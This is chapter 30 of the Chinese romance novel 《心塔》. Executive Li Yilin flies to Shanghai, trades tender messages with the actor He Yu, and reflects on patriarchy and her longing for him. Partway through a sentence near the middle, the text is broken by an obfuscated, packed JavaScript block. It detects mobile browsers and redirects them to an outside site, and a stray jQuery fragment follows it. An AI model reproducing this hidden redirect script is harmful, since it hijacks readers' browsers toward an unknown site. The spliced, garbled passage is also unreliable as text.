30. 第 30 章

作品:《心塔

    30


    周日上午伊林醒来,没有见到何屿。本想去片场给他看TVC成片,又被临时线上会议拖住,是CMO想在李伊林在广州期间完成更多临时事项。会议结束,伊林不得不将航班改签至晚饭之后,将成片线上发送给方华并告知她取消送机,收拾好行李再次去往东方文化酒店。


    与场地方对接好新增高级珠宝的专机运送,伊林嘱咐晓娜向保险团队追加合同条款与安保升级。从酒店会议室走出,已经没有晚餐时间,伊林直接赶往机场。连续的会议与谈判让李伊林精神疲累。她在送机的酒店专车里睡过去。


    到达机场,办完行李托运与安检,在候机时打开手机,除了一堆与外部对接的工作群更新,是何屿发来微信。


    「伊林,到上海了么?」


    「还没。有临时工作,改签到晚上。半小时后登机」她回复他。


    「我看了TVC,拍得很好。」


    看到这条信息,伊林松了口气。临近官宣,所有繁忙事务里,似乎只有何屿能让她顺心。


    「太好了,本来很忐忑你会不喜欢」


    「为什么?」


    「毕竟是条广告片,有些地方看起来很假」


    「我不觉得,你把我拍得很好看。」


    伊林不自觉微笑起来。


    「不是我拍的,是摄影师很会拍你」


    「那我以后要多用他。」


    伊林再度微笑。


    「可以,他是你的迷弟」


    这条信息之后,对方没有立刻回复。伊林打开社交网站刷了一会儿何屿的相关资讯,忽然之间,对方的信息再度传来。


    「伊林,昨晚谢谢你。」


    这条信息让伊林有些怔住。嘈杂的周围环境忽然变得安静,就像何屿在耳边低语。干燥手指的触摸,柔软双唇的厮磨,温暖拥抱的亲密……伊林控制不住的面颊发热。


    在她犹疑的时刻,何屿的下一条信息传过来。


    「下一条要开拍了,到上海回复我。」


    「好。你专心工作」


    快速回复他后,伊林关闭微信。然后她戴上降噪耳机,打开古尔德歌单,再将手机扔进包里。


    她强迫自己陷入稳定的平静。


    半小时后,登机提示响起。伊林收拾好随身物品找到靠窗座位坐下。她不想再去看手机,取出随身携带的《卡拉马佐夫兄弟》口袋书继续阅读。


    “我爱人类,但是自己也觉得奇怪的是,我对全人类爱得越深,对单独的人,也就是说,对一个个具体的人,就爱得越少。我在幻想中屡次产生为人类服务的热望,也许真的会为了人类走上十字架,如果忽然有这个需要的话,然而经验证明,我不能同任何一个人在一间屋里住上两天。他刚刚和我接近一点,他的个性就立即妨碍我的自爱,束缚我的自由。我会在一昼夜之间甚至恨起最好的人来:恨这人,因为吃饭太慢,恨那人,因为他伤风,不断地擤鼻涕。他说,只要人们稍微碰我一下,我就会成为他们的仇敌。然而事情常常是,我对个体的人恨得越深,那么我对整个人类的爱就越见炽烈。”


    在何屿如同幻梦般出现之前,李伊林认为自己对“具体的人”早已免疫。从高中时,她就已清晰同龄男生对女性的看法。男性从他们的青少年期就已形成同盟,从不同角度将女性性化。女同学,女老师,都会成为他们的私下谈资。大学时谈的男朋友是难得的头脑干净,但也敌不过长达四年的宿舍式集体生活。她曾伪装自己只是好奇,去问他男生宿舍的夜谈会主题,结果丝毫不让她意外。那些看似轻松无意的笑料中,充斥着对各年龄段女性的性化贬损。


    工作之后,伊林进入看似“清高”的传媒文化圈。她看见,那些看似意识先锋、具有新闻理想的男性主编、主持人、领域专家、明星名人,在饭局上是如何将沉默的女性编辑、记者当成陪衬,又如何在不同饭局带着毫不重样的年轻女伴谈笑风生。这群人拥有足够的阅读量与知识量,智商情商都不在话下。他们很喜欢在饭局上互相吹捧的同时,强调自己的客观理性,以及想要改变现状的初心。这些对彼此的尊重理解中,并不包含女性。自诩为先锋、开放、平等的文化群体,它的金字塔尖,依旧被男性占满。


    对于男性,她很早就开始客观看待。在她出生之前几千年,他们就已联手建造整个社会的男权结构。他们使用纸和笔,构想、建立和完善着一切有利于他们的现实世界与意识形态。同时,他们使用话语权为女性建造了有利于男性自身的集体意识:渴望男性之爱,渴望得到男性选择,习惯弱化自我以获得男性怜惜,习惯性仰视男性并将同性视为竞争对手,认为家庭是避风船票并将结婚生子作为终极目标……


    在这些由失权而造成的“渴爱”假象中,男性在不停蚕食女性在公共领域的生存机会。李伊林并不将他们视作可以组建家庭的合作伙伴,因为她观察到,家庭这个既定结构更善于吞没女性。与渴望爱与婚姻的同龄人相反,她更想得到金钱与地位。她认为,这是她作为不服从既定规则的少数派,拒绝进入男性叙事、独自生存的自由基底。


    在李伊林的二十多岁,女性主义远没有发展到今日阶段。她曾像个异类一样,在普世共识中挣扎许久。她对现实无感,却无可抑制的耽于幻想。她会在想象中构建一个远离男性同盟,更深刻理解人类欲念与情感,对约定俗成普世规则持怀疑态度,自有对世界的独立看法与完整处世的“完美”男子,并将其投射于某个虚幻人类身上。


    在这14年间,李伊林所选择的最贴切的投射体,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459265|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是演员何屿。


    飞机升上高空,完全暗下的机舱中,小簇读书灯打在苍白书页上,在眼底形成重影。伊林合上书本,关掉顶灯,后调座椅,在黑暗中闭上眼睛。


    对何屿的了解越深,越让习惯与现实对抗的李伊林走向“软弱”。她悲哀地发现,那些她幻想出来的、认为不可能存在的东西,竟然完整属于真正的何屿。而他甚至更加理想主义——他会为了成为演员与家族对抗,为了获得更多体验放弃声名财富,他甚至完全规避了情欲,在名与利的金字塔尖上,活得像个洁净僧人。


    伊林在三万英尺的高空中确定一件事。


    她已对他无法自拔。


    落地之后,伊林没有马上打开手机。她去洗手间洗了把脸,在托运行李转盘前点亮屏幕。几条未接来电,与方华跳出来的信息中,接机司机的号码保持一致。尽管她已通知方华不用安排,得知他改签的何屿依旧吩咐自己的经纪人当起大管家。


    拿到行李之后,伊林给司机回过电话,按照指引找到熟悉的奔驰E450。坐进后座,她点开界面,给何屿发信息。


    「已到上海」


    伊林稍微想想,再发送一条。


    「何屿,不要对我这么好。」


    对方并无回复,或许还在工作。


    李伊林抬头望向冬日城市。天空中逐渐飘起小雨,寒潮将至。


    回到家中,门口依然挂着署名为「何先生」的温热夜宵。伊林已经非常疲惫。她将手机、外套、行李扔在门厅,打开全部暖空调,提着夜宵坐在餐桌上。她吃下美味食物,使用由味蕾升腾起的愉悦情绪安慰自己。


    吃完夜宵,伊林又在餐桌上坐了一会儿,起身去冲澡。


    吹干头发,时钟显示凌晨1点过半。伊林慢吞吞去门厅拿了手机走去卧室。弧形落地窗外传来雨点不断敲击玻璃的声响,她向外望去,对面高楼如同静止的深海鱼群,遥远街道湿漉漉的,被路灯映照着像巨大的海底镜子。


    这是潮湿阴冷的上海冬天。她本应早已习惯。


    伊林拉上窗帘躺进床铺。手机屏幕显示几条未读信息,她打开,是来自何屿的语音信息。


    「伊林,我能看出你很疲惫。只是希望在一些小事上能照顾到你。」


    「今天的工作完成了,你也早点休息。」


    「伊林,我已经开始想念你。晚安。」


    窗外冷雨被暖风挡在粗粝冰冷的现实之外。这是属于李伊林的幻梦时刻。她不再计较于何屿的感情究竟有多少真假,只想拥有此时此刻,在一千公里之外的关心与思念。


    「我也很想念你。愿你今晚好梦」


    伊林用文字回复,再将屏幕按灭,躲入黑暗。


    她幻想着,能与何屿进入同一个梦。